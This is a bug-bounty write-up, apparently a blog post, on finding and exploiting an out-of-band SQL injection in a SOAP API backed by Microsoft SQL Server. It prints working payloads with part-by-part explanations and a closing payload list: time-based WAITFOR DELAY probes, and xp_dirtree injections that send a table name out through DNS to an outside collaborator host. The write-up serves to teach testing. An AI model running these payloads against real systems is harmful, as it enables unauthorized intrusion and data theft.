Old School Out-of-Band (OOB) SQL Injection Manual Approach
I recently discovered an Out-of-Band (OOB) SQL injection in a private program. I was able to crack it easily with basic payload hence I haven’t used SQLMAP or Ghauri here’s how I found it:
The vulnerability was in a SOAP API where one of the parameters was a user ID. Initially, I tried basic SQL injection payloads like ' or 1=1--
for a true statement and ' or 1=2--
for a false one, but there was no visible change in the application’s response. After some time, I tried with ' or 13337=13337--
and ' or 13337=13336--
. At first glance, there was no visible change, but then I noticed a small difference; the true statement returned a content length of 675 , while the false one was 674.
I continued by testing with different true and false statements. I observed that the content length didn’t change consistently, which was unusual. However, when I used a larger payload(ex, large number), it worked, indicating that the application processed payloads differently based on their size and had varying processing times.
To confirm the SQL injection, I used a time-based approach with this payload:
' or WAITFOR DELAY '00:00:07'--
The application indeed delayed by 7 seconds. I then tested with delays of 13 and 19 seconds, and the application responded accordingly each time.
Given the nature of this time-based SQL injection without visible error details, the only way to extract database information was through OOB techniques. I then tried various OOB payloads to further explore and exploit the vulnerability.
OOB SQL Injection Payload
Inital payload to check for Out-of-Band (OOB) SQL Injection:
'; exec master..xp_dirtree '//burpcollaborator/a'--
// After successful execution of the payload I got DNS hit on my burp collaborator //
Lets Break Down the Payload:
';
→ Single quotes('
)closes any preceding SQL statement or string by ending a single quote, assuming the input was expected to be in a string context. The semicolon (;
) ensures the previous command ends before the injected command begins.
exec
→ Is used to execute stored procedures/extended stored procedures
xp_dirtree
→ Extended stored procedures. Extended stored procedures are routines that are written in a programming language outside of SQL, these allow operations like file system access, network communication.
master
→ Database ; this extended stored procedure found in the master database of Microsoft SQL Server hence we use master..xp_dirtree
//burpcollaborator/a
→ Is OOB Receiver
--
→ Comment Terminator
Let’s drive deep into the paylaod:
exec master..xp_dirtree
Purpose of xp_dirtree:
Normally, xp_dirtree is used to list files and directories within a specified path on the server. For example, \\server\share would list the contents of that share.
Instead of providing a legitimate file share, the attacker gives a path pointing to a domain or IP they control, like:
When SQL Server attempts to access this path, which doesn’t exist, it results in: A DNS lookup for the domain if it includes a hostname, or An attempt to connect to the specified IP.
DNS Trigger with Double Slash (// or \):
Using a UNC path like \\burpcollaborator.net\a, SQL Server will first try to resolve burpcollaborator.net through DNS. Here, the double backslashes (\\) are key because they indicate a network path, prompting the DNS resolution.
Time to retrieve information from the database
'; declare @q varchar(99):set @q='\\'+(SELECT TOP 1 name FROM sys.table)+'.burpcollaborator\a';exec master.dbo.xp_dirtree @q;--
Lets Break Down the Payload:
';
→ The same as above
declare @q varchar(99):set @q=
→ declares a variable declare @q varchar(99)
with varchar type of up to 99 characters. set @q=
ssigns a value to this variable.
Why we need to declare a variable ? this question may arise right ?
Without the variable declaration, you would need to construct the entire UNC path directly in the xp_dirtree. This may cause lots of SQL syntax errors.
By declaring a variable (@q), you can dynamically construct and manipulate the path string. This is crucial because you’re integrating the result of an SQL query (SELECT TOP 1 name FROM sys.tables) into the path, which can’t be done as cleanly without a variable.
'\\'+(SELECT TOP 1 name FROM sys.table)+'.burpcollaborator\a'
→
Here,
\\
→ we can say as a DNS trigger or start of UNC path
(SELECT TOP 1 name FROM sys.table)
→ Selects the name of the first table from sys.tables, which is a system view that lists all user tables in the current database.
'.burpcollaborator\a'
→ Is OOB Receiver
exec master.dbo.xp_dirtree @q
→ Executes xp_dirtree with @q as the argument, which now contains the table name.
--
→ As in the first payload, this comments out the rest of the query.
// After the successful execution of this payload I got the first table(name) in the current database //
THE END
Disclaimer:
I initially thought to share this as a quick write-up on LinkedIn, but due to character limit, I decided to post it on Medium instead. I’ve opted not to include screenshots because I would have needed to obscure a lot of information, which would have been time-consuming. I must admit, I didn’t plan on writing a Medium article; everything unfolded quite rapidly, so please bear with me for any oversights in the content :) :D :)
PAYLOAD’s USED:
' or 1=1--
' or 1=2--
' or WAITFOR DELAY '00:00:07'--
' or WAITFOR DELAY '00:00:13'--
' or WAITFOR DELAY '00:00:19'--
'; exec master..xp_dirtree '//burpcollaborator/a'--
'; declare @q varchar(99):set @q='\\'+(SELECT TOP 1 name FROM sys.table)+'.burpcollaborator\a';exec master.dbo.xp_dirtree @q;--
REFERENCE:
- https://owasp.org/www-community/attacks/Blind_SQL_Injection
- https://portswigger.net/web-security/sql-injection/cheat-sheet
- https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/
- https://learn.microsoft.com/en-us/sql/relational-databases/stored-procedures/create-a-stored-procedure?view=sql-server-ver16
- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?view=sql-server-ver16
- https://sqlwiki.netspi.com/injectionTypes/#mysql
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —